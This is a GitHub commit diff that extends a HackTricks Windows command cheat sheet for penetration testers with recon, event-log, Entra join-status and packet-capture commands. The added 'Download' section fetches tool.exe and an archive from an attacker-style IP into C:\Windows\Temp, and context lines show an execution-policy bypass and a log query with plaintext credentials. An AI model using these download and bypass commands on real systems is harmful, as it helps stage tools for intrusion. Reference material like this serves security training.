Skip to content

Commit ebee807

Browse files
authored
Merge pull request #2062 from HackTricks-wiki/research_update_src_windows-hardening_basic-cmd-for-pentesters_20260328_024230
Research Update Enhanced src/windows-hardening/basic-cmd-for...
2 parents 5f114a5 + 9fd39f5 commit ebee807

1 file changed

Lines changed: 48 additions & 0 deletions

File tree

src/windows-hardening/basic-cmd-for-pentesters.md

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,9 @@ wmic computersystem LIST full #Get PC info
1515

1616
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
1717
wmic qfe list brief #Updates
18+
where wmic 2>nul #WMIC is deprecated and may be absent on newer Windows 11 builds
19+
powershell -c "Get-CimInstance Win32_OperatingSystem | select Caption,Version,BuildNumber,OSArchitecture"
20+
powershell -c "Get-HotFix | select HotFixID,InstalledOn,Description"
1821

1922
hostname
2023

@@ -121,9 +124,27 @@ nltest /domain_trusts #Mapping of the trust relationships
121124
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
122125
```
123126

127+
### Entra ID / Hybrid Join
128+
129+
Useful to quickly identify if the host is only AD-joined, Microsoft Entra joined, or hybrid joined, and whether the current user has a PRT cached for cloud SSO:
130+
131+
```bash
132+
dsregcmd /status
133+
dsregcmd /status | findstr /i "AzureAdJoined EnterpriseJoined DomainJoined DeviceAuthStatus TenantName AzureAdPrt"
134+
```
135+
124136
### Logs & Events
125137

126138
```bash
139+
wevtutil el #List channels
140+
wevtutil gl Security #Configuration and size of a log
141+
wevtutil qe Security /rd:true /f:text /c:20
142+
wevtutil qe Microsoft-Windows-PowerShell/Operational /rd:true /f:text /c:20
143+
wevtutil qe Microsoft-Windows-Sysmon/Operational /rd:true /f:text /c:20
144+
wevtutil qe Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational /rd:true /f:text /c:20
145+
wevtutil qe Microsoft-Windows-Windows Defender/Operational /rd:true /f:text /c:20
146+
wevtutil epl Security C:\Temp\Security.evtx
147+
127148
#Make a security query using another credentials
128149
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
129150
```
@@ -296,8 +317,30 @@ ipconfig /all
296317
arp -A
297318
```
298319

320+
### Packet capture without third-party tools
321+
322+
```bash
323+
pktmon filter remove
324+
pktmon filter add -p 445 #Capture SMB only
325+
pktmon start --capture --pkt-size 0 --file-name C:\Windows\Temp\pktmon.etl
326+
pktmon stop
327+
pktmon etl2pcap C:\Windows\Temp\pktmon.etl --out C:\Windows\Temp\pktmon.pcapng
328+
329+
netsh trace show interfaces
330+
netsh trace start capture=yes tracefile=C:\Windows\Temp\nettrace.etl maxsize=256 filemode=circular
331+
netsh trace stop
332+
```
333+
299334
## Download
300335

336+
Curl.exe
337+
338+
```bash
339+
curl.exe -k -L "https://10.10.14.13/tool.exe" -o C:\Windows\Temp\tool.exe
340+
curl.exe -k -L "https://10.10.14.13/archive.zip" -o C:\Windows\Temp\archive.zip
341+
tar -xf C:\Windows\Temp\archive.zip -C C:\Windows\Temp\
342+
```
343+
301344
Bitsadmin.exe
302345

303346
```
@@ -464,6 +507,11 @@ powershell -ep bypass - < c:\temp:ttt
464507
```
465508
466509
510+
## References
511+
512+
- [Microsoft Learn - Troubleshoot devices by using the `dsregcmd` command](https://learn.microsoft.com/en-us/entra/identity/devices/troubleshoot-device-dsregcmd)
513+
- [Microsoft Learn - Packet Monitor (`pktmon`)](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pktmon)
514+
467515
{{#include ../banners/hacktricks-training.md}}
468516
469517

0 commit comments

Comments
 (0)